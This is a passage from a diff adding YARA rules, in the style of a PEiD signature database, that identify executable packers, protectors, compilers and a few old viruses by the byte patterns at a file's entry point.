+{
+	meta:
+		description = "Microsoft Visual C++ 7.0 DLL"
+	strings:
+		$0 = {55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 01}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_PESHiELD_025__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PESHiELD 0.25] --> Anorganix"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+		$1 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _yP_v10b_by_Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yP v1.0b by Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+	condition:
+		$0
+}
+rule _UPX_v0761_dos_exe_
+{
+	meta:
+		description = "UPX v0.76.1 [dos exe]"
+	strings:
+		$0 = {B9 ?? ?? BE ?? ?? 89 F7 1E A9 ?? ?? 8C C8 05 ?? ?? 8E D8 05 ?? ?? 8E C0 FD F3 A5 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V20__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V2.0 -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _RLP_V073beta__ap0x_
+{
+	meta:
+		description = "RLP V0.7.3.beta -> ap0x"
+	strings:
+		$0 = {2E 72 6C 70 00 00 00 00 00 50 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 E0}
+	condition:
+		$0
+}
+rule _WWPACK_v305c4_Modified_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Modified)"
+	strings:
+		$0 = {B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_v11xxx__NEOx_
+{
+	meta:
+		description = "nPack v1.1.xxx -> NEOx"
+	strings:
+		$0 = {83 3D ?? ?? ?? 00 00 75 05 E9 01 00 00 00 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 08 ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 ?? 02 00 00 E8 ?? 06 00 00 E8 ?? 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? 00 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_v13beta__Cyberbob_h_
+{
+	meta:
+		description = "PESpin v1.3beta -> Cyberbob (h)"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 71 DF 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF}
+	condition:
+		$0 at entrypoint
+}
+rule _InstallAnywhere_61__Zero_G_Software_Inc_
+{
+	meta:
+		description = "InstallAnywhere 6.1 -> Zero G Software Inc"
+	strings:
+		$0 = {60 BE 00 A0 42 00 8D BE 00 70 FD FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 EF 75 09 8B 1E 83 EE FC 11 DB 73 E4 31 C9 83 E8 03 72 0D C1 E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Shrink_v10_
+{
+	meta:
+		description = "Shrink v1.0"
+	strings:
+		$0 = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_v01__Teraphy_
+{
+	meta:
+		description = "PE Diminisher v0.1 -> Teraphy"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74 50 E8 02 01 00 00 8B FD 8D 9D 9A 33 40 00 8B 1B 8D 87}
+	condition:
+		$0 at entrypoint
+}
+rule _Pack_Master_v10_
+{
+	meta:
+		description = "Pack Master v1.0"
+	strings:
+		$0 = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+		$1 = {60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_Borland_Delphi_DLL__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [Borland Delphi DLL] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+		$1 = {55 8B EC 83 C4 B4 B8 90 90 90 90 E8 00 00 00 00 E8 00 00 00 00 8D 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp__ASM_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)"
+	strings:
+		$0 = {EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4}
+	condition:
+		$0 at entrypoint
+}
+rule _Sentinel_SuperPro_Automatic_Protection_v640__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet"
+	strings:
+		$0 = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11V12_Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1-V1.2-> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Macromedia_Windows_Flash_ProjectorPlayer_v60_
+{
+	meta:
+		description = "Macromedia Windows Flash Projector/Player v6.0"
+	strings:
+		$0 = {83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C}
+	condition:
+		$0 at entrypoint
+}
+rule _DevCpp_4992__Bloodshed_Software_
+{
+	meta:
+		description = "Dev-C++ 4.9.9.2 -> Bloodshed Software"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+	condition:
+		$0 at entrypoint
+}
+rule _RLPack_v073beta__ap0x_h_
+{
+	meta:
+		description = "RLPack v0.7.3beta -> ap0x (h)"
+	strings:
+		$0 = {60 8B DD E8 00 00 00 00 5D 95 32 C0 95 89 9D 80 00 00 00 B8 42 31 40 00 BB 41 30 40 00 2B C3 03 C5 33 D2 8A 10 40 B9 ?? ?? 00 00 8B F9 30 10 8A 10 40 49 75 F8 64 EF 86 3D 30 00 00 0F B9 FF 4B 89 52 5C 4C BD 77 C2 0C CE 88 4E 2D E8 00 00 00 5D 0D DB 5E 56}
+	condition:
+		$0
+}
+rule _PcShare__v40___
+{
+	meta:
+		description = "PcShare ÎļþÀ¦°óÆ÷ v4.0 -> ÎÞ¿É·ÇÒé"
+	strings:
+		$0 = {55 8B EC 6A FF 68 90 34 40 00 68 B6 28 40 00 64 A1}
+	condition:
+		$0 at entrypoint
+}
+rule _EmbedPE_v124__cyclotron_
+{
+	meta:
+		description = "EmbedPE v1.24 -> cyclotron"
+	strings:
+		$0 = {83 EC 50 60 68 ?? ?? ?? ?? E8 CB FF 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Soft_Defender_v10__v11_
+{
+	meta:
+		description = "Soft Defender v1.0 - v1.1"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD ?? 59 9C 50 74 0A 75 08 E8 59 C2 04 ?? 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 ?? ?? ?? ?? 58 05 BA 01 ?? ?? 03 C8 74 BE 75 BC E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v031_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.31 beta -> Dwing"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 42 79 44 77 69 6E 67 40 00 00 00 50 45 00 00 4C 01 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 31}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector_V11_CracKed_By_shoooo__fly__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector V1.1 CracKed By: shoooo & fly -> Sukhov Vladimir"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 C5 FA 81}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v096_
+{
+	meta:
+		description = "tElock v0.96"
+	strings:
+		$0 = {E9 59 E4 FF FF 00}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v2001_
+{
+	meta:
+		description = "ASPack v2.001"
+	strings:
+		$0 = {60 E8 72 05 00 00 EB 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _LTC_v13_
+{
+	meta:
+		description = "LTC v1.3"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06}
+	condition:
+		$0 at entrypoint
+}
+rule _PEiDBundle_v101__BoB__BobSoft_
+{
+	meta:
+		description = "PEiD-Bundle v1.01 --> BoB / BobSoft"
+	strings:
+		$0 = {60 E8 23 02 00 00 8B 44 24 04 52 48 66 31 C0 66 81 38 4D 5A 75 F5 8B 50 3C 81 3C 02 50 45 00 00 75 E9 5A C2 04 00 60 89 DD 89 C3 8B 45 3C 8B 54 28 78 01 EA 52 8B 52 20 01 EA 31 C9 41 8B 34 8A}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v110p1_
+{
+	meta:
+		description = "HACKSTOP v1.10p1"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+		$1 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v140b2__v140b4_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku448_
+{
+	meta:
+		description = "Vx: Kuku.448"
+	strings:
+		$0 = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V31__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector_pack_only__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack only) -> GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41}
+	condition:
+		$0
+}
+rule _Vx_Necropolis_
+{
+	meta:
+		description = "Vx: Necropolis"
+	strings:
+		$0 = {50 FC AD 33 C2 AB 8B D0 E2 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_DEF_10__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [DEF 1.0] --> Anorganix"
+	strings:
+		$0 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+		$1 = {BE 00 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 83 C1 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__bartxt__WinRARSFX_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX"
+	strings:
+		$0 = {80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0}
+		$1 = {EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _LCCWin32_
+{
+	meta:
+		description = "LCC-Win32"
+	strings:
+		$0 = {64 A1 00 00 00 00 55 89 E5 6A FF 68 10 30 40 00 68 9A 10 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Lock_NT_v201_
+{
+	meta:
+		description = "PE Lock NT v2.01"
+	strings:
+		$0 = {EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Dropper_Creator_V01__Conflict_
+{
+	meta:
+		description = "Dropper Creator V0.1 -> Conflict"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+	condition:
+		$0
+}
+rule _PowerBASICCC_30x_
+{
+	meta:
+		description = "PowerBASIC/CC 3.0x"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 ?? ?? 00 66 2E F7 05 ?? ?? ?? 00 04 00 0F 85}
+	condition:
+		$0 at entrypoint
+}
+rule _MS_RunTime_Library_1992_11_
+{
+	meta:
+		description = "MS Run-Time Library 1992 (11)"
+	strings:
+		$0 = {B4 51 CD 21 8E DB B8 ?? ?? 83 E8 ?? 8E C0 33 F6 33 FF B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint
+}
+rule _FreePascal_200_Win32__Brczi_Gbor_Pierre_Muller__Peter_Vreman_
+{
+	meta:
+		description = "FreePascal 2.0.0 Win32 -> (Bérczi Gábor, Pierre Muller & Peter Vreman)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? ?? 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+		$1 = {C6 05 00 80 40 00 01 E8 74 00 00 00 C6 05 00 80 40 00 00 E8 68 00 00 00 50 E8 00 00 00 00 FF 25 D8 A1 40 00 90 90 90 90 90 90 90 90 90 90 90 90 55 89 E5 83 EC 04 89 5D FC E8 92 00 00 00 E8 ED 00 00 00 89 C3 B9 ?? 70 40 00 89 DA B8 00 00 00 00 E8 0A 01 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SCAN_AV_
+{
+	meta:
+		description = "SCAN /AV"
+	strings:
+		$0 = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_v30_
+{
+	meta:
+		description = "Zortech C v3.0"
+	strings:
+		$0 = {FA FC B8 ?? ?? ?? 8C C8 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v156_
+{
+	meta:
+		description = "PECompact v1.56"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12}
+	condition:
+		$0 at entrypoint
+}
+rule _CodeCrypt_v016b__v0163b_
+{
+	meta:
+		description = "CodeCrypt v0.16b - v0.163b"
+	strings:
+		$0 = {E9 2E 03 00 00 EB 02 83 3D 58 EB 02 FF 1D 5B EB 02 0F C7 5F}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextractable_p_Password_checking_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextractable + Password checking)"
+	strings:
+		$0 = {03 05 80 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_12__c1998_Ian_Luck_h_
+{
+	meta:
+		description = "Petite 1.2 -> (c)1998 Ian Luck (h)"
+	strings:
+		$0 = {66 9C 60 E8 CA 00 00 00 03 00 04 00 05 00 06 00 07 00 08 00 09 00 0A 00 0B 00 0D 00 0F 00 11 00 13 00 17 00 1B 00 1F 00 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 83 00 A3 00 C3 00 E3 00 02 01 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 02 02 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Duals_eXe_10_
+{
+	meta:
+		description = "Dual's eXe 1.0"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+		$1 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Symantec_C_v210_v400_or_Zortech_C_v30r1_
+{
+	meta:
+		description = "Symantec C v2.10, v4.00 or Zortech C v3.0r1"
+	strings:
+		$0 = {FA FC B8 ?? ?? 8E D8}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v10b__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.0b -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+	condition:
+		$0 at entrypoint
+}
+rule _SDProtector_1x__Randy_Li_
+{
+	meta:
+		description = "SDProtector 1.x -> Randy Li"
+	strings:
+		$0 = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+	condition:
+		$0 at entrypoint
+}
+rule _Program_Protector_XP_v10_
+{
+	meta:
+		description = "Program Protector XP v1.0"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 58 83 D8 05 89 C3 81 C3 ?? ?? ?? ?? 8B 43 64 50}
+	condition:
+		$0 at entrypoint
+}
+rule _32Lite_v003a_
+{
+	meta:
+		description = "32Lite v0.03a"
+	strings:
+		$0 = {60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v190c_
+{
+	meta:
+		description = "Armadillo v1.90c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32__Microsoft_Visual_Basic_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)"
+	strings:
+		$0 = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_50_KOLMCK__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 5.0 KOL/MCK] --> Anorganix"
+	strings:
+		$0 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 08 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0E 00 90 90 90 90 90 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 0A 00 00 00 90 90 90 90 90 00 00 00 01 E9}
+		$1 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+		$2 = {55 8B EC 90 90 90 90 68 ?? ?? ?? ?? 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 00 FF 90 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90 EB 04 00 00 00 01 90 90 90 90 90 90 90 00 01 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _UPX_v081__v084_Modified_
+{
+	meta:
+		description = "UPX v0.81 - v0.84 Modified"
+	strings:
+		$0 = {01 DB ?? 07 8B 1E 83 EE FC 11 DB ?? ED B8 01 00 00 00 01 DB ?? 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77 EF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PEX_099__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEX 0.99] --> Anorganix"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+		$1 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _BobSoft_Mini_Delphi__BoB__BobSoft_
+{
+	meta:
+		description = "BobSoft Mini Delphi -> BoB / BobSoft"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 B8 ?? ?? ?? ?? E8}
+		$1 = {55 8B EC 83 C4 F0 53 56 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8}
+		$2 = {55 8B EC 83 C4 F0 53 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 B8 ?? ?? ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _RECrypt_v07x__Crudd_RET_h1_
+{
+	meta:
+		description = "RE-Crypt v0.7x -> Crudd [RET] (h1)"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 61 60 E8 00 00 00 00 5D 55 81 04 24 0A 00 00 00 C3 8B F5 81 C5 ?? ?? 00 00 89 6D 34 89 75 38 8B 7D 38 81 E7 00 FF FF FF 81 C7 48 00 00 00 47 03 7D 60 8B 4D 5C 83 F9 00 7E 0F 8B}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Packer_v70_by_TurboPower_Software_
+{
+	meta:
+		description = "EXE Packer v7.0 by TurboPower Software"
+	strings:
+		$0 = {1E 06 8C C3 83 ?? ?? 2E ?? ?? ?? ?? B9 ?? ?? 8C C8 8E D8 8B F1 4E 8B FE}
+	condition:
+		$0 at entrypoint
+}
+rule _Fusion_10__jaNooNi_
+{
+	meta:
+		description = "Fusion 1.0 -> jaNooNi"
+	strings:
+		$0 = {68 04 30 40 00 68 04 30 40 00 E8 09 03 00 00 68 04 30 40 00 E8 C7 02 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_v1033_exescrcom__Ashkbiz_Danehkar_h_
+{
+	meta:
+		description = "yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_v1__Vaska_
+{
+	meta:
